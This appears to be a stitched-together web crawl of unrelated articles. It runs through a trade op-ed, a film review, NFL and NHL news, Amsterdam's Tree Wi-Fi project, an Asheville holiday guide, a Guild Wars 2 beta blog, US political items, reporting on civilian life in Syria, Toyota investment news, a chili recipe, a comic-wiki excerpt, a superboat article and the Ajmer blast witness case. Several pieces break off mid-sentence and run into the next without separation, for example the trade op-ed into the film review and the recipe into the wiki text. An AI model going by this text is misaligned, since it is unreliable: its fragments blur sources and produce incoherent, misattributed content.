AdvertisementsIn recent days, President Obama and much of the Democratic establishment have doubled down in support of the Trans-Pacific Partnership (TPP), especially in light of Donald Trump’s measured speech Monday about his plan to cut taxes and renegotiate US trade deals. But it’s time to get something straight: This isn’t a partisan issue.
So-called free trade is bad for the US middle class, and it has been ever since Ronald Reagan, the Republican savior himself, declared that:
Almost all responsible economists … are unanimous. They agree that free and fair trade brings growth and opportunity and creates jobs. And they warn that high trade barriers, what is often called protectionism, undermines economic growth and destroys jobs. I don’t call it protectionism; I call it destructionism.
It’s been just over 30 years since Reagan proclaimed that, and every president since then has followed the religious belief that so-called “free trade” will save us all. And 30 years later, it’s pretty clear that Reagan was dead wrong about trade, and so are the Democrats today who are saying the same thing.
The fact is, sweeping |
Pucci), now a young man in his mid-30s, has turned up at a local emergency room; the time is 1986.
The bad news is that he has a massive brain tumor. The good news is that it's benign and operable. Unfortunately, the tumor itself has damaged his brain, eliminating his ability to create new memories.
After the surgery, Gabriel is placed in a rehab and care facility, where he seems mostly catatonic. He barely registers his parents' presence when they come to visit. But his father reads about music therapy and seeks out a therapist (Julia Ormond), who begins to work with Gabriel, with limited results. Then one day she plays him a Beatles song - and he suddenly comes to life, chattering on about his favorite bands like a teen-age version of himself.
Even as the music brings him out of his shell with his therapist and his parents, we see in flashbacks what his life was like as a child and a teen. The juvenile version idolizes his father, memorizing the names of his father's favorite big bands and their big hits. But, as a teen in the mid to late 1960s, things change.
Gabriel grows his hair long, starts a rock band, protests the Vietnam War. And his father can't understand it. One eventful night, Henry kicks Gabriel out of the house, never to return - until the brain tumor reunites them.
The irony is not lost on Henry: Finally given a chance to spend time with his son, his only way of getting through to him is through the music that Henry blames for tearing them apart, particularly the songs of the Grateful Dead.
Based on a true story of a case that Sacks chronicled, The Music Never Stopped is perhaps a little corny - yet it has a sincerity and emotional depth that ring true. It also has a sense of humor - and central performances that ground the whole thing in a reality that will pull you in.
Pucci, as Gabriel, has a face that's young and innocent enough to be believable as a teen, but a haunted quality that makes the older Gabriel a tragic figure who still manages to give his parents hope. There's an openness to his performance at all ages that makes even Gabriel's rebellious teen self sympathetic.
But this movie belongs to the invaluable Simmons, in the same way that The Visitor belonged to Richard Jenkins. An actor of great range and flexibility who has seldom had roles as big as his talent, Simmons carries us on a journey of pain and discovery that is extremely poignant. And Seymour, as the mother who helps narrow the gap between father and son, is wonderfully nuanced playing a woman whose strength is tested by this experience.JC Tretter snaps the ball to Aaron Rodgers Friday night as the Packers take on the Raiders. Tretter suffered a knee injury during the first half of the game and will miss multiple weeks. Credit: Mark Hoffman
By of the
Green Bay --- Running highlights from Mike McCarthy's Sunday news conference...
On injuries... Brad Jones had a quad; B.J. Raji had significant bicep injury; JC Tretter had a significant knee injury and will be out multiple weeks....Once the one's got out of the game, knee started bothering him. Bothered him at halftime.
On if Tretter is surgical... Talking to staff, more testing ahead. Don't have all the answers left.
On the plan at center... Way you deal with injuries will never change. Injuries are a personal issue. Feel bad for the individual. Seeing him on crutches, think of him coming in back in February....Hard part about it, what individual has to go through. This is the way the NFL is. Injuries part of our game. Unfortunate. Will not stop us.
On if temorary IR a possibility... JC not enough information; B.J. would say no.
On Corey Linsley.... Corey took all the snaps today. Obviously a rookie. I like his make-up. Needs the reps. His confidence will grow every day. He'll be ready for Kansas City.
On Linsley's smarts... Corey has a very good understanding of our offense. Won't change how we approach the game moving forward. Our game plan won't change. Feel good about it.
On Josh Boyd in for Raji... Getting back each and every week. Saw him come on late last season. Picked up where he left off. Obviously versatility along the defensive line is important. B.J. has been an anchor in there.
On Boyd over the nose... Wouldn't classify him as an end. He's more of a 3-technique and actually has done well on the nose. I think we'll be fine there.
On Guion... Letroy's getting better. Just left his workout in the Hutson Center. He's getting close; he's champing at the bit. It's a process.
On Mike Pennel, if he's ready.... Had some big-time plays vs Oakland, some games you see his youth. He's getting better.
On if Rodgers plays now vs KC... More concerned about evaluation of 75 players. Really come down to tomorrow's practice. See where we are. Want to work different combinations. We have to get our roster ready.
On Lang/Sitton at guard... You have to always train three centers. That will never change. Since 2006, the guards have always been trained at center. You do so much shotgun. Playing in the stadium we'll be playing in Week 1; communication that goes on, guards a big part of that.
On Derek Sherrod's progress.... Thought Derek got better. Derek took another step. Lane Taylor did good things. This will be a good week for everybody.
On if he's worried for Brad Jones in opener... Not today. Was told he will not be ready for Kansas City. We'll see.Amsterdam is usually associated with tree-lined waterways, cyclists and fresh air.
But the Dutch capital actually has a surprising pollution problem. The city was given a D+ ranking for air quality by an environmental study last year, thanks in part to its failure to implement a low emissions zone for private vehicles, as other European cities have done.
Now one local designer has a plan to tackle the problem: Joris Lam has designed a series of tree houses that light up and emit free Wi-Fi when air pollution levels fall to a healthy level.
Tree Wi-Fi, as it's called, aims to incentivize people to make more environmentally friendly choices.
"I wanted to make something that measures air pollution locally and also makes the issue visible in an understandable, human-centric way," Lam said.
An invisible problem
A recent study by Milieudefensie, the Dutch arm of environmental organization Friends of the Earth, showed that air quality in 11 urban areas of the Netherlands, including Amsterdam, regularly falls below optimum European standards.
Related: Air pollution could cost global economy $2.6 trillion a year
Lam -- who has a background in digital media and design -- says that while broad data like this is readily available, a lack of localized data inspired him come up with the idea for Tree Wi-Fi.
"I wondered what that [data] actually meant for me personally," he says. "So I set out on a quest to find out what the air quality in my street is like and quickly found out there's not really a simple answer to that question."
Because the Amsterdam authorities only measure air quality in a small number of locations throughout the city, and because air pollution often can't be seen on the street, he realized the problem is essentially invisible to the average citizen.
"Air quality monitoring stations from the municipality look like anonymous strange little buildings with bells and whistles sticking out of them that don't make you any wiser," says Lam.
Lam set to work, and after "four months of little sleep and tots of tinkering, coding and soldering," Tree Wi-Fi was born.
Taking it to the trees
Designed to look like a birdhouse, the Tree Wi-Fi device is harnessed to a tree and contains sensors that measure air pollution levels emitted from combustion processes -- i.e. fumes from cars and trucks -- within about 100 meters.
Every evening, the day's air pollution data is sent from the birdhouse to a central server where it is analyzed. The results are then sent back to the birdhouse, where -- if good enough -- they trigger internet connectivity.
"When the server detects a decrease in pollution compared to the day before, it opens up the internet connection the birdhouse has for everyone to use," Lam, explains.
"The Wi-Fi network itself is always available for people to connect with, regardless of the air quality, but if the air quality is poor, instead of free internet it gives information and tips on how to improve air quality."
The readings also trigger changes in the LED lights on the device, which give residents an instant visual measure of air quality.
"It also provides scientists with very detailed and valuable data about air pollution and the way pollution works in urban environments in real time," Lam adds.
Pollution prototype
The device is just in the prototype phase right now, but it has already attracted the attention of Amsterdam government officials.
Lam has raised enough money to assemble a team of seven engineers and scientists to refine the technology and reward system.
Related: Google wants to beam super-fast Wi-Fi into your home
Other rewards in the pipeline include giving free Wi-Fi when someone downloads an air quality report and talks to the local government about it, or when someone submits a plans for community action.
"We currently have a lot of interest from other countries who want to roll this out, so when those deals start to become clear we will [structure ourselves] in a way that fits our international ambitions," says Lam.Kick off the New Year 2019 with the fun only found in Asheville and western North Carolina! Here are our top things to do, including the best celebrations and things to do all weekend.
Asheville Area New Year's Eve Parties & Events 2019
Stay in Style: Be pampered in one of the fabulous bed and breakfast inns in and around Asheville. Or get away in a cozy cabin or vacation rental or highly-reviewed hotel.
Winter Lights at NC Arboretum: Stroll through the wonderland in the gardens. Open both New Year's Eve and New Year's nights. Read all about Winter Lights.
Biltmore Estate: Biltmore Estate is open on New Year's Eve and New Year's Day. See America's largest home decked out in festive finery! Restaurants are open (make dining reservations in advance). Also buy admission tickets in advance since those dates will probably sell-out. See our Christmas at Biltmore Guide.
Get Outdoors: Start work on that New Year's resolution to lose a few pounds and get in better shape! Take a winter hike and enjoy views through with leafless trees, cool temperatures, and few fellow hikers. See our hiking guide for top picks. All trails in the National Forests are open every day. And don't forget to find some of our spectacular waterfalls (most waterfalls are open on New Years Day, including DuPont State State Forest and Gorges State Park).
Ski: Area ski resorts will be open all weekend, weather permitting.
First Day Hikes: The North Carolina's state parks system will offer free guided First Day Hikes on January 1, the perfect chance to begin the New Year with exercise and a reconnection with nature. Read about First Day Hikes near Asheville.
Shop: There's plenty of shopping options to find after holiday deals. Browse shops in Downtown Asheville (free parking on New Year's Eve & Day). The Asheville Outlets are open both December 31 and January 1. For more great local shops with unique gifts, explore the cool small towns in our mountains.
LaZoom Comedy Bus Tours: What a fun outing with friends and family! Take the zany tour on the big purple bus. Make reservations in advance. Read more about LaZoom Tours.
New Year’s Polar Plunge: Take the plunge into chilly water at Lake Lure on January 1 and freeze for a reason – to support local charities. Read more about the Polar Plunge.
See our Asheville Holidays Guide for more!This week, many gamers around the world are shaking off the shell-shock of not being able to Login to Guild Wars 2. Naturally I include myself in this equation as I look back upon the weekend with a feeling of mixed satisfaction and frustration. What lingers now in my mind is a single question, “How long until this thing is released?”. Well in my head I hear the battle of both prospectives, and I write this now to work out my own feelings on the situation.
The weekend was not without its problems. Friday saw difficulties problems with imbalances of server populations. My entire guild's plan to join a server was inadvertently cock-blocked by the server transfer protocol and wasn't fixed until several hours later, long after my guild had already switched to a different server we did not plan to join. Saturday saw continued issues of course, as suddenly Siege could not be deployed properly in World vs World causing a lot of people to become frustrated because they could not execute any battles that had measured impact.
The only day that appeared to be fine was Sunday, but the Tournaments and Structure Player vs Player match-ups were also broken and not working as intended. This was only just scratching the surface on the many, many, many issues that plagued the game to the point of causing a lot of people to question whether or not Guild Wars 2 really was the awesome game everyone said it was. But at the end of the weekend, everything slowly seemed to just come together.
Even despite all of these problems, I still feel as though my overall experience with Guild Wars 2 was more than satisfactory. Why? Well let's be honest here, it's still Guild Wars 2. The game is just really great for me, and it really does manage to keep me busy doing something even when other things aren't working quite as they were intended to be. Quite frankly, the entire weekend was a complete and utter disaster, but it was still the most fun I've had gaming in the past six weeks (the last Beta Weekend Event).
Now I find myself in reflection, thinking about how close the game may or may not be to release. After everything bad that happened, I still want to play. That to me is a very good sign. That to me is a very healthy sign. And that sort of sign, really shouldn't be ignored. Ever since February 2012, I've really been keeping my ear to the ground on this one. Been keeping a close look, reading articles, forming guilds, and trying to put together material people can use and enjoy for the upcoming title. Now, more than four months have gone by and I find myself feeling just a little bit frustrated.
I imagine this frustration will grow, but in small, tiny increments. For instance, I was sweating bullets when it came to wondering when the Beta was going to happen back in March of this year. So much was happening, Beta Invites coming through and then a Pre-Purchase!? People falling over one another just to log in and submit a code onto an online profile, just to have it say “Congratulations, you've purchased the game! Stay tuned for information about future Beta Tests.”
At the end of April, all of my questions were laid to rest and I could finally spend time just sitting back and playing. After the weekend ended, I felt completely sated and satisfied. Years of pent-up frustration has been ejected from me like a tween-boy who finally figured out how to bring himself to orgasm, and perhaps the end result was equally messy.
Six weeks later, we get to do it all over again with some improvements. Indeed, the game had a lot of differences in it, but ultimately it was the same game and really had the same feel. I liked it, it was very nice. I felt happy and comfortable, and even though something may have gone wrong or maybe I found something to be broken --- at the end of the day none of it matter. I had fun. I had a lot of fun. I can safely say that.
I had so much fun I question myself, would I still give Guild Wars 2 the benefit of the doubt and keep playing, and keep giving their game positive PR even though the game was breaking on a daily basis and even my most favorite toys were ruined for several hours --- would I still keep playing? Yes. I fully know, through and through, I would keep playing. I'm a loyal gamer. I'm not a whiner, though I do complain a lot, but I'm not going to bitch my way into another game – because frankly I've found the game for me. That game is Guild Wars 2.
At this point, the only way they are going to lose me as a customer and eager GemStore money giver is by pulling a StarWars NGE and completely flipping the game onto its head and started all over again. I don't see that happening, and quite frankly it's laughable to even think a mistake like that is going to happen twice in my lifetime. I know, beyond a doubt, Guild Wars 2 isn't ready for release. But I really don't care. I'm really one those people who can devote hours of my time and life to spilling into the game because I want to see it blossom and become a fantastic piece of work.
I've spent years of my life in Final Fantasy XI because no other game really matched what it was. But now, Guild Wars 2 has come along and I really don't want to see it turn out bad. But at the same time, I really don't want to sit patiently for release, nor do I want them to hold back on announcing another BWE. The fact that the last one took them five weeks to announce was pretty painful enough, but waiting that duration again? Well that would just be bloody sadistic at this point. I don't think I can endure that kind of pain.
My Summer has only just started, and each day I see it getting shorter and shorter. Each day I see that I'm not doing something that I could be physically enjoying aside from my other daily activities. This is really the only time when I can spend day in and day out just pouring over a game, for when the Summer ends my life begins again and my business kicks up as well as more of my Graduate courses. All that precious, precious time I could be spending working and helping to tweak Guild Wars 2 and just have a bloody good time doing it --- wasted.
At this point, I'm starting to feel like the game may actually benefit from – at the very least, events which happen each and every weekend. Of course I would like an all-out release. But in all seriousness, they really should step up the pace, and start assuring the public that they are on some kind of home stretch. While it may not happen, and more than likely will not happen, I cannot help but feel like it really would be the right course of action for ArenaNet to take.
I know it's probably just my system yearning to play, but it's really starting to eat me up. My patience is really starting to get thin, and with each BWE I admit --- it's getting thinner. Each time I play, I really only want more. Each day I spend in the game, means less days I'd be willing to wait to continue. For as I grow in my knowledge of the game, there is more I want to do. There is more I want to try, and it becomes difficult to put those desires aside as I wait for the next signal.
I know I will have to wait, just like everyone else. But something needs to change. If not now, then especially after the third BWE. By then, I fear a lot of people are going to be crying foul at that point. So many people were optimistic for a June release back in March, that is why I dropped my money. Something really does need to happen at the end of June. I'm not saying a release, but something to change the face of the game before people become too frustrated. Just think about it.Students at UNLV were totally shocked when Katy Perry – rocking a “Nasty Woman” tee and bold red lipstick – showed up at their dorm rooms on Saturday (October 22) in Las Vegas!
The 31-year-old singer was spotted snapping selfies with a pair of young women while she flashed a “Love Trumps Hate” sign.
Katy had a blast knocking on doors, sharing personal stories, and trying to drum up votes for Democratic presidential nominee Hillary Clinton.
“We’re out here campaigning for Hillary Clinton. Ever heard of her?” Katy asked some students inside their room (via Associated Press). “Because there’s no other alternative. We need our issues heard, we need our bodies taken care of, we need all that choice.”
Katy was also spotted cheering as former Nevada Attorney General and Democratic U.S. Senate candidate Catherine Cortez Masto spoke at an early vote rally.
Today marks the first day for early voting in Nevada ahead of the November 8 general election.
30+ pictures inside of Katy Perry visiting UNLV dorms…As NHL Deputy Commissioner Bill Daly read out the draft envelopes one-by one, you couldn’t help but get a little more excited as the positions counted down.
Then came the number four selection and many fans were hoping that the fourth pick would not have the Maple Leafs logo.
That didn’t happen.
The good news to come of this is the Leafs didn’t drop down to fifth in the draft and stayed where there were. But it was hard to not feel like the wind was taken out of your sails just a bit, when it was clear that Toronto wouldn’t be selecting first.
“We’re happy with four, there are some good guys around there,” said Leafs President Brendan Shanahan. “Everyone came here hoping to get the golden ticket but the odds were stacked against most teams.”
This year was an anomaly for the NHL’s draft lottery process in many ways. It is the first and last time all 14 non-playoff teams participating would either stay where they are, drop down one spot or select first.
Next year, the lottery will be used to determine the top-three selections, meaning a team that was projected to pick first could potentially drop down to fourth.
“It was a very transparent process,” said Shanahan who was fine with the way it all went down. “I think the idea of having a lottery for the top three picks instead of just the first pick overall, I think it creates a little more fairness and just the way that teams are perceived as teams are coming down the stretch. I think it adds to the integrity of the process.”
Locked in at number four, the Leafs can prepare to build their team. The staff will go to work assessing talent.
But one player won’t make a team. It never has and the Leafs are busy over the next couple of months trying to build a front office with the right staff and getting the right players.
Director of Player Personnel Mark Hunter has the huge task of making sure the Leafs make the most of not just their first pick, but the ones that follow afterwards — finding the diamonds in the rough that other teams have found successfully in the past.
The Maple Leafs have two first round choices, having their own and a yet-to-be-determined late-round draft choice they acquired from the Nashville Predators that depends on when they are eliminated from the 2015 Stanley Cup Playoffs.
Luck won’t build a team. Even though it sure could have helped.
Shanahan was wearing a shamrock hoping for luck of the Irish hoping for any help.
“I thought I would enlist whatever I had, I wasn’t going to leave anything at home. I’m still proud of being Irish.”
The anticipation behind the draft is over. Now it’s time for the Maple Leafs to get to work.A House Republican says a Medicare board created by the health care law will kill people.
Reprising the “death panel” meme that cast a pall over the health care reform debate in 2009, Rep. Phil Gingrey (R-GA) charged Wednesday that the Independent Payment Advisory Board — a panel charged with reducing growth in Medicare spending — will cause patients to die.
“[U]nder this IPAB we described that the Democrats put in Obamacare, where a bunch of bureaucrats decide whether you get care, such as continuing on dialysis or cancer chemotherapy, I guarantee you when you withdraw that the patient is going to die,” Gingrey said. “It’s rationing.”IPAB will be comprised of 15 Senate-confirmed commissioners, appointed by the President in consultation with Congressional leaders. Its recommendation will become official policy unless overturned by Congress and replaced with equivalent cost-cutting measures. Though its legislative charter forbids it from “rationing” care, it will be tasked with shedding waste inherent in Medicare’s fee-for-service model.
However, it will not stop paying for dialysis or chemotherapy, as Gingrey suggested.
Though it’s one of the most promising cost-control measures in the health care law, IPAB has come under fire from Republicans (and even a few Democrats). Several conservatives and Republicans have now attacked it as the “real” death panel in health care reform. And its long-term fate is uncertain.For more than six years, Syria has been hacked apart by war. Some combatants fight for freedom, some for jihad, some for the Damascus regime. But whatever the motivation, the upshot is seemingly endless bombing, chemical weapons attacks, suicide explosions, starvation, sieges and displacement. So what is daily life really like for civilians caught in the crossfire?
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One case in point is the province of Idlib, close to the Turkish border. The area galvanized world attention last week after chemical bombs were unleashed in the provincial town of Khan Sheikhoun, claiming the lives of almost 100 children and adults and wounding hundreds more.
“There is food and some services here, but people are fleeing to other places,” prominent Syrian journalist Hadi Al Abdullah – who navigates one battle zone to the next – told Fox News.
Expand / Contract Displacement camp in Idlib province, Syria (FoxNews.com )
While there are non-governmental organizations (NGOs) on the ground administering some food and aid for those left without homes, there are no open cafes and a mere spattering of shared generators for electricity.
“We try to just adapt,” Abdullah continued. “We draw water from the earth, we get some internet from Turkey.”
Things are not much different an hour-and-a-half drive away, in the northwest Idlib village of Aqrabat. Essa Essa, a 27-year-old NGO field projects officer, said that even though his area is safer than most, there is no way to avoid the killing.
“All the time, you will be afraid of aircraft and you don’t know when one will strike. You will be afraid when your children go to play or when they go to school that they won’t come home. You will not be safe in your house, maybe the regime bombed your house,” he explained. “You know that maybe you will die when you walk in the street or go to pray in a mosque. You wonder if you will die when you try to buy something for your children to eat, or your babies won’t wake up or you won’t wake up to see your babies grow up. It’s hard to find work, it’s hard to find medications. People suffer in every way.”
On feature of life in a war zone is the constant effort to simply carry on, adapt and live a normal life.
“They are working, selling, going to pray. They are trying to find materials to reconstruct the buildings, the homes and the hospitals,” Essa lamented. “Some people are lucky to buy food. Some have no money and have to wait for the NGOs.”
Expand / Contract Syrians trying to adapt and live a normal life in opposition-held Idlib, Syria (FoxNews.com)
In 2013, Khalaf Ahmed, 35, escaped to Aqrabat from his hometown of Raqqa – the caliphate “capital” – without even the shoes on his feet, after the jihadists raided his neighborhood and arresting anyone deemed a dissident. Much of his new neighborhood has been flattened by a series of Syrian government airstrikes.
“There is no electricity aside from a little generator. People are displaced and live in little tents. In an attempt to preserve their lives and any little money they may have, there are no parties. I go to work in the morning and come back before sunset,” Ahmed, now a humanitarian worker, said. “I stay in my house at night because there is nothing open. There are some markets during day, but they are targeted by the planes. We know that some days, friends will be lost.”
However, Ahmed insists that he would rather live this impoverished, fear-lurking life under the opposition umbrella then be beholden to President Bashar Assad’s regime.
“I am against ISIS, I want them gone, but I still consider that Assad is the most dangerous,” he noted. “This is organized terror.”
Things are a little better for the U.S.-supported rebels in Syria’s Kurdish-controlled northeast, an area known as Rojava. Even though occupants endure mass casualties and heavy ISIS resistance as Kurdish fighters close in on Raqqa, the putative capital of Islamic State, people living in and around Rojava – in what they soon hope to be an officially recognized autonomous region – is better than any other part of Syria.
“We take in all the refugees from the region. I haven’t seen any homeless or poor people. Everyone is provided with the essentials and an opportunity to work in local cooperatives,” Ozkan Ozdil told Fox News. “Everyone gets along. There is a mutual respect for everyone. A lot of people have joined the local military or everyone protects their own area and polices themselves.”
According to Ozdil, schools have brought back languages that were near extinction. They teach Kurdish in Kurdish areas and also have lesson in Arabic and Assyrian, the language of many of the area’s Christians.
Expand / Contract Dancing and entertainment still a key part of life in Syria's Kurdish region
“Many children here have been scared from the war, but within Rojava they have found peace and can live normal lives,” he went on. “They go for ice cream and play in the parks.”
Over in the western Syrian city of Homs children don’t go out for ice cream or play in parks. Homs became an opposition stronghold in the early years of the war but fell back into regime hands in late 2015. Parks have become patches of painful memories marked by debris. The landscape is tainted by hollowed-out homes, mortar-scarred buildings and shattered remains.
Over the last couple of weeks, scores have been fleeing the last rebel-held Homs neighborhood of Al Waer. Mouhannad, a husband and father of two toddlers, intends to leave for the Idlib area soon. He was in his third year of veterinary medicine studies when the war broke out, and he never got to graduate. Instead, Mouhannad learned to repair computers for a little spare change and spends most of the day in his small shop and then going home to take care of his family before dark.
“Government militias are located around the neighborhood, but none of them are on the inside,” Mouhannad said. “There are no services, except monthly supplies from the United Nations if the system allows convoys to enter the neighborhood. There is nothing for cleaning the streets, there is no transportation, no vaccines for the children. Sometimes there is school, but it closes when bombing begins.”
Only one service is provided to residents without cost.
“The coffins come for free,” he said. “Because we don’t have enough coffins here.”
Life before the war, the young father reminisces, “was of course prettier.”
“My father owned a gold shop, a clothes shop and a real estate shop. We had a farm, two cars and offices. My family -- six brothers, one sister, father and mother – were all hardworking,” Mouhannad recalled. “With the war, my father was afraid and we had to leave everything and escape.”
Although his two boys were born during the war and know only of war, they are far from immune to the fear and carnage.
“I try to help them by hugging them during the bombing and telling them the planes will not hurt them because they are with me. I made them a battery-operated TV to watch children’s programs over the noise,” he said. “Sometimes, they go outside and play. But sometimes the sniper system can see them, so I hide them. Sometimes I am scared, I take them to work with me so I can see them.”
Expand / Contract Child plays in remains of a park in Al Waer, Homs in Syria (FoxNews.com )
One hundred miles away on the outskirts of the rebel-gripped Damascus suburb of Douma, residents routinely rise and fall to the whistle of bombs and smoke and bullets blazing the streets. One activist, Omran Abdullah, detailed to Fox News that the people are poor and cannot feed their children due to the high price of goods. Bread and milk are more than four times pre-war prices. There is little variety of fruits, and many medicines no longer exist on pharmacy shelves. He said the Lebanese militia Hezbollah encircles the periphery and controls checkpoints outside.
“But,” Abdullah pointed out. “Our area is released from the regime.”
Expand / Contract Child rides through the rebel-held streets of the Damascus suburb of Douma, Syria
The only real contrast to life in Khan Sheikhoun, Homs, Aqrabat, Rojava and Douma is found in Damascus, the largely pro-government capital.
The city of 1.7 million bustles even as bombs bloody some parts of the city’s periphery. Urban life is work and plenty of play. Restaurants and coffee shops are alive with students and businessmen alike. There is music and dancing and live entertainment.
Unlike Syrians living outside of Damascus, resident don’t complain of bombing or chemical weapons attacks. They complain about traffic clogged with extra security checkpoints and high costs resulting from the economy-draining conflict and international sanctions.
“Of course we talk about the war, but it has become part of daily life. People are used to it,” said Solomon Sadee, a fiction author and poet. “This is a beautiful city… We here, we too, just want peace.”Alexis Ohanian is a guy who lives his Internet life to the fullest. Probably his real life, too, but that's not what we discussed on today's PandoWeekly.
You'll have no problem finding pretty much everything you'd ever want to know about the Reddit co-founder, angel investor and activist all over the Web, so I tried not to retread too much of that in this week's episode of PandoWeekly.
I enjoyed talking to Ohanian because he is just so damn positive. No amount of government stupidity, big business meddling, Internet trolls or cynical New Yorkers can shake his excitement about the Web. He has never even "unplugged" from the Internet, although he says that may change after he returns from his five-month, 150-stop tour of college campuses to promote his new book, Without Their Permission.
In the book, he takes a few of the biggest lessons he's learned from the startup world -- particularly the idea that improvising and not knowing what you're doing are positives to be embraced -- and applies them to the rest of the world.
On today's episode of PandoWeekly, we discussed the dangers of that, like creating thousands of willfully ignorant "hustlers." We also discuss why he likes Bitcoin, New York's tech scene versus Y Combinator, millennial apathy, privacy, Stop Watching Us, and entrepreneurship with a lower case "e." Listen below.Share This On Social
The Japanese carmaker Toyota will spend 10 billion USD of capital investment in USA during the next five years, keeping the investment program from the previous five years. Toyota has earned criticism from newly elected US president Donald Trump after in 2015 announced plans to move production of its Corolla from Canada to Mexico.
The CEO of Toyota for North America, James Lentz, pointed out that this decision is not a response to statements of Donal Trump, but part from the business strategy of the carmaker in the United States, where there are 10 plants in eight states. According to him, preparation of plans for a new plant in Mexico began two years ago, if not more, before being named in 2015. According to him these are long-term solutions for the sustainable development of the company. James Lentz added also that he had spoken with Trump on the case.
These 10 billion USD investments include the new North American headquarters of Toyota in Texas, which is under construction at the moment, and major improvements in company plants.
Toyota plans to expand some of its US plants over the next five years. The company currently employs 40,000 people in the United States and over the past five years have been created over 5,000 jobs.
Later today in Detroit Motor president of Toyota presented the new model Toyota Camry.On the floor of the Senate Tuesday, Minority Leader Harry Reid (D- NV) delivered a wide-ranging speech centered on the vulnerability and anxiety liberal voters, minorities, women and members of the LGBT community have been expressing all over the country.
“We have a responsibility to be the voice of the millions of Americans sitting at home, afraid they are unwelcome in Trump’s America,” Reid said.
It was the first extensive speech Reid has given on the outcome of the election since returning to Washington after Trump won his shocking victory last week.
Reid targeted Trump’s newest named senior adviser Stephen Bannon directly and called him out for his racist headlines and past comments against Jewish Americans.
“By placing a champion of white supremacists a step away from the Oval Office, what message does Trump send?”
Reid entered into the record a list of hate crimes that have been reported around the country since Trump was elected.
“They are many. They are awful. They are frightening,” Reid said. “Many of our fellow Americans believe that Trump’s election validates the kind of bullying, aggressive behavior Trump modeled daily,” Reid said.
Toward the end of the speech, Reid read from a letter he received from a 7th grade girl after the election.
“I’m extremely scared especially being a woman of color,” the letter read. “I want to feel safe in my country but I no longer can feel safe with someone like Donald Trump leading this country.”
“Trump must act immediately to make Americans – like that seventh-grade girl – feel that they are welcome in his America,” Reid said.Chop onion, brown with ground beef (use a little olive oil if you want), strain and set aside
Fry sausage in a pan, shouldn’t need any oil, just heat :)
Chop up peppers and sausage
Throw everything in large pot, including pan drippings from the sausages (I recommend straining the beans)
Add beef broth for liquid to desired thickness
Simmer for 45 minutes minimum, stirring occasionally
(Heavily modified from Jay's step-brother’s recipe, but he deserves a nod for it.)1/2 white onion1 1/4 lb 85/15 ground beef1 lb breakfast sausage (mild, pork)28 ounce can roasted crushed tomatoes7 oz can Casera salsa15 oz can black beans (I won’t apologize for putting beans in chili, bean haters…)15 oz can pinto beans1 Tbspoon |
has also used her powers to create a "cutting" effect by refining the force of the wind.[17] When at close range, she can also compress air into a person's ear to disrupt their middle ear's equilibrium thereby disturbing their balance.[18]
As Renascence, she wears a suit equipped with six metal cybernetic tentacles that can discharge surges of electricity from its claws. She is also equipped with a personal force field that emits a golden aura.
Sofia has some athletic and martial arts skills due to her training as a New Mutant at Xavier's and the combat sessions with the New Warriors.
Other versions [ edit ]
House of M [ edit ]
Wind Dancer is a S.H.I.E.L.D. trainee in the House of M reality. During the House of M crossover (which later led to Decimation), Wind Dancer was shown as a S.H.I.E.L.D trainee, in the Hellions Squad, under Dani Moonstar's supervision, and involved in a rather intimate relationship with Scion (Julian's counterpart).
In this reality, she battled control against Wallflower's pheromones that manipulated the New Mutant Leadership Institute's students into fighting with the S.H.I.E.L.D. trainees to the death.
After Wallflower was killed and her influence severed, the surviving young mutants teamed up to attack Emperor Sunfire, who headed Project: Genesis, a plan to mutate baseline humans. Sunfire ordered their death, but reality was reverted before anything further happened.
References [ edit ]Superboat builder Marine Technology, Inc. has cranked out a flotilla of oddly themed speedboats over the past few years, from Mercedes SLR wraps to Looney Tunes. But this latest effort — a 2,700-hp deathboat styled with Corvette cues and badges — somehow works.
Built with Corvette parts and carbon fiber, the ZR48 could pass for the Dark Knight's navy. Power comes from a pair of twin-turbo Mercury Marine V8s good for 1,350 hp each.
If the engines are too loud, there's a 8,000-watt sound system, built into another engine block and hooked up to an Apple TV and mobile WiFi. The cockpit — accessed from an electric sliding canopy — can hold six, as the pilot steers with an authentic C6 dash, showing that adherence to the theme trumped any aesthetic concerns.
But wait, there's more. Since MTI superboats are too wide to be hauled on most roads, they need a custom trailer to safely tilt the boat on its side.
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And who wants a plain old trailer when you can instead create a mechanic's shop/rolling DJ booth with a generator, power washer, engine flush system, five TVs and 900 LED lights for that ground-effect glow all the girls go crazy for.
Sure, some of you would look this whole package over, see the asking price of $1.7 million and wonder not only whether it was worth it, but ask who would spend that much cheddar on such an expensive toy. Clearly you've never been wealthy enough to understand how money can expand your horizons. And you'll never be Batman.The October 2007 attack at the Ajmer dargah killed three, injured seventeen. (Source: Express archive)
Since June 2014 and the change of government at the Centre, 14 key witnesses in the 2007 Ajmer dargah blast case have turned hostile, weakening it considerably. One of them is now a minister in Jharkhand.
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READ: On Friday, three did a U-turn in court on Samjhauta Express blast statements
Last month, Special Public Prosecutor Rohini Salian told The Indian Express that she had been under pressure from the National Investigation Agency (NIA) to go “soft” in the 2008 Malegaon blasts case from the time “the new government came to power” — a charge the probe agency denied.
READ: Since this new govt came, I have been told to go soft on accused (Hindu extremists): Rohini Salian
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The Ajmer dargah blast, which killed three and injured 17 people, was handed over to the NIA in 2011.
It now emerges that all 14 witnesses have gone back on their statements recorded before the Anti Terrorist Squad (ATS) and a magistrate under Section 164 of the Code of Criminal Procedure in 2010.
READ: Exclusive | The meaning very clearly was, don’t get us favourable orders: Malegaon SPP Rohini Salian
Public Prosecutor Ashwini Sharma told The Sunday Express: “These 14 witnesses who have turned hostile since the hearings in June 2014 were all key witnesses who had recorded their statements before the magistrate under Section 164 (of the Code of Criminal Procedure).”
READ: NIA says no ‘issuance of inappropriate briefing by any officer’
“It was all the more important because in this case, there are only 15 witnesses who recorded their statements under Section 164, of whom three were later named accused. A large number of the remaining witnesses are the injured or police officers who are not key witnesses.”
READ: Sunday Story | The importance of being Rohini Salian
“The testimonies of those who have turned hostile would have made for a watertight case. Despite tough cross-questioning, they refused to admit in court what they had once told the ATS or the magistrate. This considerably shakes the ground of the case,” Sharma said.
The witnesses who have turned hostile — Randhir Singh, Rohit Kumar Jha, Bhanu Singh, Sonu Pandey, Vishnu Patidar, Swapnil Joshi, Ishan Chawla, Vinod Kumar Shav, Parimal Pal, Gautam Pal, Vimal Pal, Sugandhi Devi, Govardhan Singh and Hari Narayan — are either active RSS workers or owe allegiance to the Sangh in some capacity or the other.
READ: I am out (of all NIA cases), it is a matter of faith, principle, says Rohini Salian, the day after
The case was handed over to the NIA in 2011 but hearings kept getting postponed since the witnesses moved over a dozen applications, delaying their appearance before the court. The witnesses cited, among other reasons, threat to their lives.
